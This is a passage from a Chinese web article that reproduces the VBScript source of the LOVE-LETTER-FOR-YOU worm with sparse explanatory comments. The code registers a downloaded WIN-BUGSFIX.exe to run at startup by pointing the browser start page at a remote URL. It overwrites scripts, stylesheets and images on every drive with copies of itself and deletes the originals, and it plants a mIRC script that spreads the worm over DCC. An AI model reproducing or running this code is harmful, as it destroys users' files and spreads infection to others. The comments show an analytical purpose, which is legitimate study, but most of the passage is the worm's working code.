VBFV5hfFEkbopBdQZnm POhfgER67b3VBvg/WIN-BUGSFIX.exe" 逆风编程精品 elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B UGSFIX.exe" end if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio n\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main \Start Page","about:blank" end if end sub sub listadriv ' 遍历所有驱动器。 On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"\") end if Next listadriv = s end sub sub infectfiles(folderspec) ' 执行传染文件的操作。 On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="VBe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write VBscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext= "sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write VBscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".VBs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write VBscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".VBs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".VBs") mp3.write VBscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes 2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="scri pt.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corru pt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" ' 病毒作者的英文恐怕没学好……不过,这样吓唬人也够损的了。 ' 这里提醒各位注意,不要在乎那些吓人的文字,仔细观察就会发现漏洞其实不 少。 scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FO R-YOU.HTM" scriptini.WriteLine "n3=}" ' 注意,这样做的结果是,MIRC也能够传染病毒。 scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) ' 遍历文件夹 On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) 本文章更多内容:<<上一页 - 1 - 2 - 3 - 4 - 5 - 下一页>> |